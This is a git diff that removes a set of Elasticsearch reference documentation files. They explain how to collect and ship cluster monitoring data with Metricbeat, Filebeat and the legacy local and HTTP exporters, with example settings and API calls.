-. Configure the {es} module in {filebeat} on each node.
-+
---
-// tag::configure-es-module[]
-If the logs that you want to monitor aren't in the default location, set the
-appropriate path variables in the `modules.d/elasticsearch.yml` file. See
-{filebeat-ref}/filebeat-module-elasticsearch.html#configuring-elasticsearch-module[Configure the {es} module].
-
-IMPORTANT: If there are JSON logs, configure the `var.paths` settings to point
-to them instead of the plain text logs.
-
-// end::configure-es-module[]
---
-
-. {filebeat-ref}/filebeat-starting.html[Start {filebeat}] on each node. 
-+
---
-NOTE: Depending on how you’ve installed {filebeat}, you might see errors related
-to file ownership or permissions when you try to run {filebeat} modules. See
-{beats-ref}/config-file-permissions.html[Config file ownership and permissions].
-
---
-
-. Check whether the appropriate indices exist on the monitoring cluster.
-+
---
-For example, use the <<cat-indices,cat indices>> command to verify
-that there are new `filebeat-*` indices. 
-
-TIP: If you want to use the *Monitoring* UI in {kib}, there must also be 
-`.monitoring-*` indices. Those indices are generated when you collect metrics
-about {stack} products. For example, see <<configuring-metricbeat>>.
-
---
-
-. {kibana-ref}/monitoring-data.html[View the monitoring data in {kib}].
diff --git a/docs/reference/monitoring/configuring-metricbeat.asciidoc b/docs/reference/monitoring/configuring-metricbeat.asciidoc
deleted file mode 100644
index 4641457d421..00000000000
--- a/docs/reference/monitoring/configuring-metricbeat.asciidoc
+++ /dev/null
@@ -1,197 +0,0 @@
-[role="xpack"]
-[testenv="gold"]
-[[configuring-metricbeat]]
-== Collecting {es} monitoring data with {metricbeat}
-
-[subs="attributes"]
-++++
-<titleabbrev>Collecting monitoring data with {metricbeat}</titleabbrev>
-++++
-
-In 6.5 and later, you can use {metricbeat} to collect data about {es} 
-and ship it to the monitoring cluster, rather than routing it through exporters 
-as described in <<collecting-monitoring-data>>. 
-
-image::monitoring/images/metricbeat.png[Example monitoring architecture]
-
-. Enable the collection of monitoring data.
-+
---
-// tag::enable-collection[]
-Set `xpack.monitoring.collection.enabled` to `true` on the
-production cluster. By default, it is is disabled (`false`). 
-
-You can use the following APIs to review and change this setting:
-
-[source,console]
-----------------------------------
-GET _cluster/settings
-
-PUT _cluster/settings
-{
-  "persistent": {
-    "xpack.monitoring.collection.enabled": true
-  }
-}
-----------------------------------
-
-If {es} {security-features} are enabled, you must have `monitor` cluster privileges to 
-view the cluster settings and `manage` cluster privileges to change them.
-// end::enable-collection[]
-
-For more information, see <<monitoring-settings>> and <<cluster-update-settings>>.
---
-
-. {metricbeat-ref}/metricbeat-installation-configuration.html[Install {metricbeat}] on each
-{es} node in the production cluster.  Failure to install on each node may result in incomplete or missing results.
-
-. Enable the {es} {xpack} module in {metricbeat} on each {es} node.
-+
---
-For example, to enable the default configuration in the `modules.d` directory, 
-run the following command:
-
-["source","sh",subs="attributes,callouts"]
-----------------------------------------------------------------------
-metricbeat modules enable elasticsearch-xpack
-----------------------------------------------------------------------
-
-Alternatively, you can use the {es} module, as described in the
-{metricbeat-ref}/metricbeat-module-elasticsearch.html[{es} module usage for {stack} monitoring]. 
---
-
-. Configure the {es} {xpack} module in {metricbeat} on each {es} node.
-+
---
-The `modules.d/elasticsearch-xpack.yml` file contains the following settings:
-
-[source,yaml]
-----------------------------------
-  - module: elasticsearch
-    xpack.enabled: true
-    period: 10s
-    hosts: ["http://localhost:9200"] <1>
-    #scope: node <2>
-    #username: "user"
-    #password: "secret"
-    #ssl.enabled: true
-    #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]
-    #ssl.certificate: "/etc/pki/client/cert.pem"
-    #ssl.key: "/etc/pki/client/cert.key"         
-    #ssl.verification_mode: "full"
-----------------------------------
-<1> By default, the module collects {es} monitoring metrics from
-`http://localhost:9200`. If that host and port number are not correct, you must
-update the `hosts` setting. If you configured {es} to use encrypted
-communications, you must access it via HTTPS. For example, use a `hosts` setting
-like `https://localhost:9200`.
-<2> By default, `scope` is set to `node` and each entry in the `hosts` list
-indicates a distinct node in an {es} cluster. If you set `scope` to `cluster`,
-each entry in the `hosts` list indicates a single endpoint for a distinct {es}
-cluster (for example, a load-balancing proxy fronting the cluster).
-
-If Elastic {security-features} are enabled, you must also provide a user ID
-and password so that {metricbeat} can collect metrics successfully: 
-
-.. Create a user on the production cluster that has the
-<<built-in-roles,`remote_monitoring_collector` built-in role>>. 
-Alternatively, use the
-<<built-in-users,`remote_monitoring_user` built-in user>>.
-
-.. Add the `username` and `password` settings to the {es} module configuration
-file. 
-
-.. If TLS is enabled on the HTTP layer of your {es} cluster, you must either use https as the URL scheme in the `hosts` setting or add the `ssl.enabled: true` setting. Depending on the TLS configuration of your {es} cluster, you might also need to specify {metricbeat-ref}/configuration-ssl.html[additional ssl.*] settings.
---
-
-. Optional: Disable the system module in {metricbeat}.
-+
---
-By default, the {metricbeat-ref}/metricbeat-module-system.html[system module] is
-enabled. The information it collects, however, is not shown on the *Monitoring*
-page in {kib}. Unless you want to use that information for other purposes, run
-the following command:
-
-["source","sh",subs="attributes,callouts"]
-----------------------------------------------------------------------
-metricbeat modules disable system
-----------------------------------------------------------------------
-
---
-
-. Identify where to send the monitoring data.
-+
---
-TIP: In production environments, we strongly recommend using a separate cluster 
-(referred to as the _monitoring cluster_) to store the data. Using a separate 
-monitoring cluster prevents production cluster outages from impacting your 
-ability to access your monitoring data. It also prevents monitoring activities 
-from impacting the performance of your production cluster.
-
-For example, specify the {es} output information in the {metricbeat} 
-configuration file (`metricbeat.yml`):
-
-[source,yaml]
-----------------------------------
-output.elasticsearch:
-  # Array of hosts to connect to.
-  hosts: ["http://es-mon-1:9200", "http://es-mon2:9200"] <1>
-  
-  # Optional protocol and basic auth credentials.
-  #protocol: "https"
-  #username: "elastic"
-  #password: "changeme"
-----------------------------------
-<1> In this example, the data is stored on a monitoring cluster with nodes 
-`es-mon-1` and `es-mon-2`. 
-
-If you configured the monitoring cluster to use encrypted communications, you
-must access it via HTTPS. For example, use a `hosts` setting like
-`https://es-mon-1:9200`.
-
-IMPORTANT: The {es} {monitor-features} use ingest pipelines, therefore the
-cluster that stores the monitoring data must have at least one 
-<<ingest,ingest node>>. 
-
-If {es} {security-features} are enabled on the monitoring cluster, you must
-provide a valid user ID and password so that {metricbeat} can send metrics 
-successfully: 
-
-.. Create a user on the monitoring cluster that has the 
-<<built-in-roles,`remote_monitoring_agent` built-in role>>. 
-Alternatively, use the 
-<<built-in-users,`remote_monitoring_user` built-in user>>.
-
-.. Add the `username` and `password` settings to the {es} output information in 
-the {metricbeat} configuration file.
-
-For more information about these configuration options, see 
-{metricbeat-ref}/elasticsearch-output.html[Configure the {es} output].
---
-
-. {metricbeat-ref}/metricbeat-starting.html[Start {metricbeat}] on each node. 
-
-. Disable the default collection of {es} monitoring metrics.
-+
---
-Set `xpack.monitoring.elasticsearch.collection.enabled` to `false` on the 
-production cluster.
-
-You can use the following API to change this setting:
-
-[source,console]
-----------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "xpack.monitoring.elasticsearch.collection.enabled": false
-  }
-}
-----------------------------------
-
-If {es} {security-features} are enabled, you must have `monitor` cluster
-privileges to  view the cluster settings and `manage` cluster privileges
-to change them.
---
-
-. {kibana-ref}/monitoring-data.html[View the monitoring data in {kib}]. 
diff --git a/docs/reference/monitoring/exporters.asciidoc b/docs/reference/monitoring/exporters.asciidoc
deleted file mode 100644
index 76bf30d0b61..00000000000
--- a/docs/reference/monitoring/exporters.asciidoc
+++ /dev/null
@@ -1,172 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[es-monitoring-exporters]]
-== Exporters
-
-[IMPORTANT]
-=========================
-{metricbeat} is the recommended method for collecting and shipping monitoring
-data to a monitoring cluster.
-
-If you have previously configured legacy collection methods, you should migrate
-to using {metricbeat} collection methods. Use either {metricbeat} collection or
-legacy collection methods; do not use both.
-
-Learn more about <<configuring-metricbeat>>.
-=========================
-
-The purpose of exporters is to take data collected from any Elastic Stack
-source and route it to the monitoring cluster. It is possible to configure
-more than one exporter, but the general and default setup is to use a single
-exporter.
-
-There are two types of exporters in {es}:
-
-`local`::
-The default exporter used by {es} {monitor-features}. This exporter routes data
-back into the _same_ cluster. See <<local-exporter>>.
-
-`http`::
-The preferred exporter, which you can use to route data into any supported
-{es} cluster accessible via HTTP. Production environments should always use a
-separate monitoring cluster. See <<http-exporter>>.
-
-Both exporters serve the same purpose: to set up the monitoring cluster and route
-monitoring data. However, they perform these tasks in very different ways. Even
-though things happen differently, both exporters are capable of sending all of
-the same data.
-
-Exporters are configurable at both the node and cluster level. Cluster-wide
-settings, which are updated with the
-<<cluster-update-settings,`_cluster/settings` API>>, take precedence over
-settings in the `elasticsearch.yml` file on each node. When you update an
-exporter, it is completely replaced by the updated version of the exporter.
-
-IMPORTANT: It is critical that all nodes share the same setup. Otherwise,
-monitoring data might be routed in different ways or to different places.
-
-When the exporters route monitoring data into the monitoring cluster, they use
-`_bulk` indexing for optimal performance. All monitoring data is forwarded in
-bulk to all enabled exporters on the same node. From there, the exporters
-serialize the monitoring data and send a bulk request to the monitoring cluster.
-There is no queuing--in memory or persisted to disk--so any failure during the
-export results in the loss of that batch of monitoring data. This design limits
-the impact on {es} and the assumption is that the next pass will succeed.
-
-Routing monitoring data involves indexing it into the appropriate monitoring
-indices. Once the data is indexed, it exists in a monitoring index that, by
-default, is named with a daily index pattern. For {es} monitoring data, this is
-an index that matches `.monitoring-es-6-*`. From there, the data lives inside
-the monitoring cluster and must be curated or cleaned up as necessary. If you do
-not curate the monitoring data, it eventually fills up the nodes and the cluster
-might fail due to lack of disk space.
-
-TIP: You are strongly recommended to manage the curation of indices and
-particularly the monitoring indices. To do so, you can take advantage of the
-<<local-exporter-cleaner,cleaner service>> or
-{curator-ref-current}/index.html[Elastic Curator].
-
-//TO-DO: Add information about index lifecycle management https://github.com/elastic/x-pack-elasticsearch/issues/2814
-
-There is also a disk watermark (known as the flood stage
-watermark), which protects clusters from running out of disk space. When this
-feature is triggered, it makes all indices (including monitoring indices)
-read-only until the issue is fixed and a user manually makes the index writeable
-again. While an active monitoring index is read-only, it will naturally fail to
-write (index) new data and will continuously log errors that indicate the write
-failure. For more information, see <<disk-based-shard-allocation>>.
-
-[discrete]
-[[es-monitoring-default-exporter]]
-=== Default exporters
-
-If a node or cluster does not explicitly define an exporter, the following
-default exporter is used:
-
-[source,yaml]
----------------------------------------------------
-xpack.monitoring.exporters.default_local: <1>
-  type: local
----------------------------------------------------
-<1> The exporter name uniquely defines the exporter, but it is otherwise unused.
-    When you specify your own exporters, you do not need to explicitly overwrite
-    or reference `default_local`.
-
-If another exporter is already defined, the default exporter is _not_ created.
-When you define a new exporter, if the default exporter exists, it is
-automatically removed.
-
-[discrete]
-[[es-monitoring-templates]]
-=== Exporter templates and ingest pipelines
-
-Before exporters can route monitoring data, they must set up certain {es}
-resources. These resources include templates and ingest pipelines. The
-following table lists the templates that are required before an exporter can
-route monitoring data:
-
-[options="header"]
-|=======================
-| Template                    | Purpose
-| `.monitoring-alerts`        | All cluster alerts for monitoring data.
-| `.monitoring-beats`         | All Beats monitoring data.
-| `.monitoring-es`            | All {es} monitoring data.
-| `.monitoring-kibana`        | All {kib} monitoring data.
-| `.monitoring-logstash`      | All Logstash monitoring data.
-|=======================
-
-The templates are ordinary {es} templates that control the default settings and
-mappings for the monitoring indices.
-
-By default, monitoring indices are created daily (for example,
-`.monitoring-es-6-2017.08.26`). You can change the default date suffix for
-monitoring indices with the `index.name.time_format` setting. You can use this
-setting to control how frequently monitoring indices are created by a specific
-`http` exporter. You cannot use this setting with `local` exporters. For more
-information, see <<http-exporter-settings>>.
-
-WARNING: Some users create their own templates that match _all_ index patterns,
-which therefore impact the monitoring indices that get created. It is critical
-that you do not disable `_source` storage for the monitoring indices. If you do,
-{kib} {monitor-features} do not work and you cannot visualize monitoring data
-for your cluster.
-
-The following table lists the ingest pipelines that are required before an
-exporter can route monitoring data:
-
-[options="header"]
-|=======================
-| Pipeline               | Purpose
-| `xpack_monitoring_2`   | Upgrades X-Pack monitoring data coming from X-Pack
-5.0 - 5.4 to be compatible with the format used in 5.5 {monitor-features}.
-| `xpack_monitoring_6`   | A placeholder pipeline that is empty.
-|=======================
-
-Exporters handle the setup of these resources before ever sending data. If
-resource setup fails (for example, due to security permissions), no data is sent
-and warnings are logged.
-
-NOTE: Empty pipelines are evaluated on the coordinating node during indexing and
-they are ignored without any extra effort. This inherently makes them a safe,
-no-op operation.
-
-For monitoring clusters that have disabled `node.ingest` on all nodes, it is
-possible to disable the use of the ingest pipeline feature. However, doing so
-blocks its purpose, which is to upgrade older monitoring data as our mappings
-improve over time. Beginning in 6.0, the ingest pipeline feature is a
-requirement on the monitoring cluster; you must have `node.ingest` enabled on at
-least one node.
-
-WARNING: Once any node running 5.5 or later has set up the templates and ingest
-pipeline on a monitoring cluster, you must use {kib} 5.5 or later to view all
-subsequent data on the monitoring cluster. The easiest way to determine
-whether this update has occurred is by checking for the presence of indices
-matching `.monitoring-es-6-*` (or more concretely the existence of the
-new pipeline). Versions prior to 5.5 used `.monitoring-es-2-*`.
-
-Each resource that is created by an exporter has a `version` field,
-which is used to determine whether the resource should be replaced. The `version`
-field value represents the latest version of {monitor-features} that changed the
-resource. If a resource is edited by someone or something external to the
-{monitor-features}, those changes are lost the next time an automatic update
-occurs.
diff --git a/docs/reference/monitoring/how-monitoring-works.asciidoc b/docs/reference/monitoring/how-monitoring-works.asciidoc
deleted file mode 100644
index 126ec1a0880..00000000000
--- a/docs/reference/monitoring/how-monitoring-works.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[how-monitoring-works]]
-== How monitoring works
-++++
-<titleabbrev>How it works</titleabbrev>
-++++
-
-Each {es} node, {ls} node, {kib} instance, and Beat instance is considered
-unique in the cluster based on its persistent UUID, which is written to the
-<<path-settings,`path.data`>> directory when the node or instance starts.
-
-Monitoring documents are just ordinary JSON documents built by monitoring each
-{stack} component at a specified collection interval. If you want to alter the
-templates for these indices, see <<config-monitoring-indices>>.
-
-{metricbeat} is used to collect monitoring data and to ship it directly to the
-monitoring cluster.
-
-To learn how to collect monitoring data, see:
-
-* <<collecting-monitoring-data>>
-* <<configuring-metricbeat>>
-* {kibana-ref}/xpack-monitoring.html[Monitoring {kib}]
-* {logstash-ref}/configuring-logstash.html[Monitoring {ls}]
-* Monitoring Beats:
-** {auditbeat-ref}/monitoring.html[{auditbeat}]
-** {filebeat-ref}/monitoring.html[{filebeat}]
-** {functionbeat-ref}/monitoring.html[{functionbeat}]
-** {heartbeat-ref}/monitoring.html[{heartbeat}]
-** {metricbeat-ref}/monitoring.html[{metricbeat}]
-** {packetbeat-ref}/monitoring.html[{packetbeat}]
-** {winlogbeat-ref}/monitoring.html[{winlogbeat}]
diff --git a/docs/reference/monitoring/http-export.asciidoc b/docs/reference/monitoring/http-export.asciidoc
deleted file mode 100644
index de8bbe65308..00000000000
--- a/docs/reference/monitoring/http-export.asciidoc
+++ /dev/null
@@ -1,106 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[http-exporter]]
-=== HTTP exporters
-
-[IMPORTANT]
-=========================
-{metricbeat} is the recommended method for collecting and shipping monitoring
-data to a monitoring cluster.
-
-If you have previously configured legacy collection methods, you should migrate
-to using {metricbeat} collection methods. Use either {metricbeat} collection or
-legacy collection methods; do not use both.
-
-Learn more about <<configuring-metricbeat>>.
-=========================
-
-The `http` exporter is the preferred exporter in the {es} {monitor-features}
-because it enables the use of a separate monitoring cluster. As a secondary
-benefit, it avoids using a production cluster node as a coordinating node for
-indexing monitoring data because all requests are HTTP requests to the
-monitoring cluster.
-
-The `http` exporter uses the low-level {es} REST Client, which enables it to
-send its data to any {es} cluster it can access through the network. Its requests
-make use of the <<common-options-response-filtering,`filter_path`>> parameter to
-reduce bandwidth whenever possible, which helps to ensure that communications
-between the production and monitoring clusters are as lightweight as possible.
-
-The `http` exporter supports a number of settings that control how it
-communicates over HTTP to remote clusters. In most cases, it is not
-necessary to explicitly configure these settings. For detailed
-descriptions, see <<monitoring-settings>>.
-
-[source,yaml]
-----------------------------------
-xpack.monitoring.exporters:
-  my_local: <1>
-    type: local
-  my_remote: <2>
-    type: http
-    host: [ "10.1.2.3:9200", ... ] <3>
-    auth: <4>
-      username: my_username
-      password: changeme
-    connection:
-      timeout: 6s
-      read_timeout: 60s
-    ssl: ... <5>
-    proxy:
-      base_path: /some/base/path <6>
-    headers: <7>
-      My-Proxy-Header: abc123
-      My-Other-Thing: [ def456, ... ]
-    index.name.time_format: YYYY-MM <8>
-
-----------------------------------
-<1> A `local` exporter defined explicitly whose arbitrary name is `my_local`.
-<2> An `http` exporter defined whose arbitrary name is `my_remote`. This name
-uniquely defines the exporter but is otherwise unused.
-<3> `host` is a required setting for `http` exporters. It must specify the HTTP
-port rather than the transport port. The default port value is `9200`.
-<4> User authentication for those using {stack} {security-features} or some other
-    form of user authentication protecting the cluster.
-<5> See <<http-exporter-settings>> for all TLS/SSL settings. If not supplied,
-the default node-level TLS/SSL settings are used.
-<6> Optional base path to prefix any outgoing request with in order to
-    work with proxies.
-<7> Arbitrary key/value pairs to define as headers to send with every request.
-    The array-based key/value format sends one header per value.
-<8> A mechanism for changing the date suffix used by default.
-
-NOTE: The `http` exporter accepts an array of `hosts` and it will round robin
-through the list. It is a good idea to take advantage of that feature when the
-monitoring cluster contains more than one node.
-
-Unlike the `local` exporter, _every_ node that uses the `http` exporter attempts
-to check and create the resources that it needs. The `http` exporter avoids
-re-checking the resources unless something triggers it to perform the checks
-again. These triggers include:
-
-* The production cluster's node restarts.
-* A connection failure to the monitoring cluster.
-* The license on the production cluster changes.
-* The `http` exporter is dynamically updated (and it is therefore replaced).
-
-The easiest way to trigger a check is to disable, then re-enable the exporter.
-
-WARNING: This resource management behavior can create a hole for users that
-delete monitoring resources. Since the `http` exporter does not re-check its
-resources unless one of the triggers occurs, this can result in malformed index
-mappings.
-
-Unlike the `local` exporter, the `http` exporter is inherently routing requests
-outside of the cluster. This situation means that the exporter must provide a
-username and password when the monitoring cluster requires one (or other
-appropriate security configurations, such as TLS/SSL settings).
-
-IMPORTANT: When discussing security relative to the `http` exporter, it is
-critical to remember that all users are managed on the monitoring cluster. This
-is particularly important to remember when you move from development
-environments to production environments, where you often have dedicated
-monitoring clusters.
-
-For more information about the configuration options for the `http` exporter,
-see <<http-exporter-settings>>.
diff --git a/docs/reference/monitoring/images/architecture.png b/docs/reference/monitoring/images/architecture.png
deleted file mode 100644
index 769618c0ccc..00000000000
Binary files a/docs/reference/monitoring/images/architecture.png and /dev/null differ
diff --git a/docs/reference/monitoring/images/metricbeat.png b/docs/reference/monitoring/images/metricbeat.png
deleted file mode 100644
index f74f8566530..00000000000
Binary files a/docs/reference/monitoring/images/metricbeat.png and /dev/null differ
diff --git a/docs/reference/monitoring/index.asciidoc b/docs/reference/monitoring/index.asciidoc
deleted file mode 100644
index 06974d20d09..00000000000
--- a/docs/reference/monitoring/index.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[monitor-elasticsearch-cluster]]
-= Monitor a cluster
-
-[partintro]
---
-The {stack} {monitor-features} provide a way to keep a pulse on the health and
-performance of your {es} cluster.
-
-* <<monitoring-overview>>
-* <<how-monitoring-works>>
-* <<monitoring-production>>
-* <<configuring-metricbeat>>
-* <<configuring-filebeat>>
-* <<config-monitoring-indices>>
-* <<collecting-monitoring-data>>
-* <<monitoring-troubleshooting>>
-
---
-
-include::overview.asciidoc[]
-
-include::how-monitoring-works.asciidoc[]
-
-include::production.asciidoc[]
-
-include::configuring-metricbeat.asciidoc[]
-
-include::configuring-filebeat.asciidoc[]
-
-include::indices.asciidoc[]
-
-include::collecting-monitoring-data.asciidoc[]
-:leveloffset: +1
-include::collectors.asciidoc[]
-include::exporters.asciidoc[]
-:leveloffset: -1
-include::local-export.asciidoc[]
-include::http-export.asciidoc[]
-include::pause-export.asciidoc[]
-
-include::troubleshooting.asciidoc[]
diff --git a/docs/reference/monitoring/indices.asciidoc b/docs/reference/monitoring/indices.asciidoc
deleted file mode 100644
index 3a7288aa15f..00000000000
--- a/docs/reference/monitoring/indices.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[config-monitoring-indices]]
-== Configuring indices for monitoring
-
-<<indices-templates-v1,Index templates>> are used to configure the indices
-that store the monitoring data collected from a cluster.
-
-You can retrieve the templates through the `_template` API:
-
-[source,console]
-----------------------------------
-GET /_template/.monitoring-*
-----------------------------------
-
-By default, the template configures one shard and one replica for the
-monitoring indices. To override the default settings, add your own template:
-
-. Set the `template` pattern to `.monitoring-*`.
-. Set the template `order` to `1`. This ensures your template is
-applied after the default template, which has an order of 0.
-. Specify the `number_of_shards` and/or `number_of_replicas` in the `settings`
-section.
-
-For example, the following template increases the number of shards to five
-and the number of replicas to two.
-
-[source,console]
-----------------------------------
-PUT /_template/custom_monitoring
-{
-  "index_patterns": ".monitoring-*",
-  "order": 1,
-  "settings": {
-    "number_of_shards": 5,
-    "number_of_replicas": 2
-  }
-}
-----------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_template/custom_monitoring
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-IMPORTANT: Only set the `number_of_shards` and `number_of_replicas` in the
-settings section. Overriding other monitoring template settings could cause
-your monitoring dashboards to stop working correctly.
diff --git a/docs/reference/monitoring/local-export.asciidoc b/docs/reference/monitoring/local-export.asciidoc
deleted file mode 100644
index 4a356e5fbd2..00000000000
--- a/docs/reference/monitoring/local-export.asciidoc
+++ /dev/null
@@ -1,107 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[local-exporter]]
-=== Local exporters
-
-[IMPORTANT]
-=========================
-{metricbeat} is the recommended method for collecting and shipping monitoring
-data to a monitoring cluster.
-
-If you have previously configured legacy collection methods, you should migrate
-to using {metricbeat} collection methods. Use either {metricbeat} collection or
-legacy collection methods; do not use both.
-
-Learn more about <<configuring-metricbeat>>.
-=========================
-
-The `local` exporter is the default exporter in {monitoring}. It routes data
-back into the same (local) cluster. In other words, it uses the production
-cluster as the monitoring cluster. For example:
-
-[source,yaml]
----------------------------------------------------
-xpack.monitoring.exporters.my_local_exporter: <1>
-  type: local
----------------------------------------------------
-<1> The exporter name uniquely defines the exporter, but it is otherwise unused.
-
-This exporter exists to provide a convenient option when hardware is simply not
-available. It is also a way for developers to get an idea of what their actions
-do for pre-production clusters when they do not have the time or resources to
-provide a separate monitoring cluster. However, this exporter has disadvantages
-that impact the local cluster:
-
-* All indexing impacts the local cluster and the nodes that hold the monitoring
-indices' shards.
-* Most collectors run on the elected master node. Therefore most indexing occurs
-with the elected master node as the coordinating node, which is a bad practice.
-* Any usage of {monitoring} for {kib} uses the local cluster's resources for
-searches and aggregations, which means that they might not be available for
-non-monitoring tasks.
-* If the local cluster goes down, the monitoring cluster has inherently gone
-down with it (and vice versa), which generally defeats the purpose of monitoring.
-
-For the `local` exporter, all setup occurs only on the elected master node. This
-means that if you do not see any monitoring templates or ingest pipelines, the
-elected master node is having issues or it is not configured in the same way.
-Unlike the `http` exporter, the `local` exporter has the advantage of accessing
-the monitoring cluster's up-to-date cluster state. It can therefore always check
-that the templates and ingest pipelines exist without a performance penalty. If
-the elected master node encounters errors while trying to create the monitoring
-resources, it logs errors, ignores that collection, and tries again after the
-next collection.
-
-The elected master node is the only node to set up resources for the `local`
-exporter. Therefore all other nodes wait for the resources to be set up before
-indexing any monitoring data from their own collectors. Each of these nodes logs
-a message indicating that they are waiting for the resources to be set up.
-
-One benefit of the `local` exporter is that it lives within the cluster and
-therefore no extra configuration is required when the cluster is secured with
-{stack} {security-features}. All operations, including indexing operations, that
-occur from a `local` exporter make use of the internal transport mechanisms
-within {es}. This behavior enables the exporter to be used without providing any
-user credentials when {security-features} are enabled.
-
-For more information about the configuration options for the `local` exporter,
-see <<local-exporter-settings>>.
-
-[[local-exporter-cleaner]]
-==== Cleaner service
-
-One feature of the `local` exporter, which is not present in the `http` exporter,
-is a cleaner service. The cleaner service runs once per day at 01:00 AM UTC on
-the elected master node.
-
-The role of the cleaner service is to clean, or curate, the monitoring indices
-that are older than a configurable amount of time (the default is `7d`). This
-cleaner exists as part of the `local` exporter as a safety mechanism. The `http`
-exporter does not make use of it because it could enable a single misconfigured
-node to prematurely curate data from other production clusters that share the
-same monitoring cluster.
-
-In a dedicated monitoring cluster, you can use the cleaner service without
-having to monitor the monitoring cluster itself. For example:
-
-[source,yaml]
----------------------------------------------------
-xpack.monitoring.collection.enabled: false <1>
-xpack.monitoring.history.duration: 3d <2>
----------------------------------------------------
-
-<1> Disables the collection of data on the monitoring cluster.
-<2> Lowers the default history duration from `7d` to `3d`. The minimum value is
-`1d`. This setting can be modified only when using a Gold or higher level
-license. For the Basic license level, it uses the default of 7 days.
-
-To disable the cleaner service, add a disabled local exporter:
-
-[source,yaml]
-----
-xpack.monitoring.exporters.my_local.type: local <1>
-xpack.monitoring.exporters.my_local.enabled: false <2>
-----
-
-<1> Adds a local exporter named `my_local`
-<2> Disables the local exporter. This also disables the cleaner service.
diff --git a/docs/reference/monitoring/overview.asciidoc b/docs/reference/monitoring/overview.asciidoc
deleted file mode 100644
index e4f58e4060c..00000000000
--- a/docs/reference/monitoring/overview.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-[role="xpack"]
-[[monitoring-overview]]
-== Monitoring overview
-++++
-<titleabbrev>Overview</titleabbrev>
-++++
-
-When you monitor a cluster, you collect data from the {es} nodes, {ls} nodes,
-{kib} instances, and Beats in your cluster. You can also
-<<configuring-filebeat,use {filebeat} to collect {es} logs>>. 
-
-All of the monitoring metrics are stored in {es}, which enables you to easily
-visualize the data from {kib}. By default, the monitoring metrics are stored in
-local indices.
-
-TIP: In production, we strongly recommend using a separate monitoring cluster.
-Using a separate monitoring cluster prevents production cluster outages from
-impacting your ability to access your monitoring data. It also prevents
-monitoring activities from impacting the performance of your production cluster.
-For the same reason, we also recommend using a separate {kib} instance for
-viewing the monitoring data.
-
-You can use {metricbeat} to collect and ship data about {es}, {kib}, {ls}, and
-Beats directly to your monitoring cluster rather than routing it through your
-production cluster. The following diagram illustrates a typical monitoring
-architecture with separate production and monitoring clusters:
-
-image::images/architecture.png[A typical monitoring environment]
-
-If you have the appropriate license, you can route data from multiple production
-clusters to a single monitoring cluster. For more information about the
-differences between various subscription levels, see:
-https://www.elastic.co/subscriptions
-
-IMPORTANT: In general, the monitoring cluster and the clusters being monitored
-should be running the same version of the stack. A monitoring cluster cannot
-monitor production clusters running newer versions of the stack. If necessary,
-the monitoring cluster can monitor production clusters running the latest
-release of the previous major version.
diff --git a/docs/reference/monitoring/pause-export.asciidoc b/docs/reference/monitoring/pause-export.asciidoc
deleted file mode 100644
index 6cf02a1f240..00000000000
--- a/docs/reference/monitoring/pause-export.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[pause-export]]
-=== Pausing data collection
-
-To stop generating {monitoring} data in {es}, disable data collection:
-
-[source,yaml]
----------------------------------------------------
-xpack.monitoring.collection.enabled: false
----------------------------------------------------
-
-When this setting is `false`, {es} monitoring data is not collected and all 
-monitoring data from other sources such as {kib}, Beats, and Logstash is ignored.
-
-You can update this setting by using the 
-{ref}/cluster-update-settings.html[Cluster Update Settings API].
-
-If you want to collect data from sources such as {kib}, Beats, and Logstash but
-not collect data about your {es} cluster, you can disable data collection
-just for {es}:
-
-[source,yaml]
----------------------------------------------------
-xpack.monitoring.collection.enabled: true
-xpack.monitoring.elasticsearch.collection.enabled: false
----------------------------------------------------
-
-If you want to separately disable a specific exporter, you can specify the 
-`enabled` setting (which defaults to `true`) per exporter. For example:
-
-[source,yaml]
----------------------------------------------------
-xpack.monitoring.exporters.my_http_exporter:
-  type: http
-  host: ["10.1.2.3:9200", "10.1.2.4:9200"]
-  enabled: false <1>
----------------------------------------------------
-<1> Disable the named exporter. If the same name as an existing exporter is not
-    used, then this will create a completely new exporter that is completely
-    ignored. This value can be set dynamically by using cluster settings.
-
-NOTE: Defining a disabled exporter prevents the default exporter from being
-      created.
-
-To re-start data collection, re-enable these settings. 
\ No newline at end of file
diff --git a/docs/reference/monitoring/production.asciidoc b/docs/reference/monitoring/production.asciidoc
deleted file mode 100644
index 44c14dd7c0f..00000000000
--- a/docs/reference/monitoring/production.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[role="xpack"]
-[[monitoring-production]]
-== Monitoring in a production environment
-
-In production, you should send monitoring data to a separate _monitoring cluster_
-so that historical data is available even when the nodes you are monitoring are
-not. For example, you can use {metricbeat} to ship monitoring data about {kib},
-{es}, {ls}, and Beats to the monitoring cluster.
-
-[IMPORTANT]
-=========================
-{metricbeat} is the recommended method for collecting and shipping monitoring
-data to a monitoring cluster.
-
-If you have previously configured legacy collection methods, you should migrate
-to using {metricbeat} collection. Use either {metricbeat} collection or
-legacy collection methods; do not use both.
-
-Learn more about <<configuring-metricbeat>>.
-=========================
-
-If you have at least a Gold Subscription, using a dedicated monitoring cluster
-also enables you to monitor multiple clusters from a central location.
-
-To store monitoring data in a separate cluster:
-
-. Set up the {es} cluster you want to use as the monitoring cluster.
-For example, you might set up a two host cluster with the nodes `es-mon-1` and
-`es-mon-2`.
-+
---
-[IMPORTANT]
-===============================
-* Ideally the monitoring cluster and the production cluster run on the same
-{stack} version. However, a monitoring cluster on the latest release of
-{major-version} also works with production clusters that use the same major
-version. Monitoring clusters that use {major-version} also work with production
-clusters that use the latest release of {prev-major-version}.
-* There must be at least one <<ingest,ingest node>> in the monitoring
-cluster; it does not need to be a dedicated ingest node.
-===============================
---
-
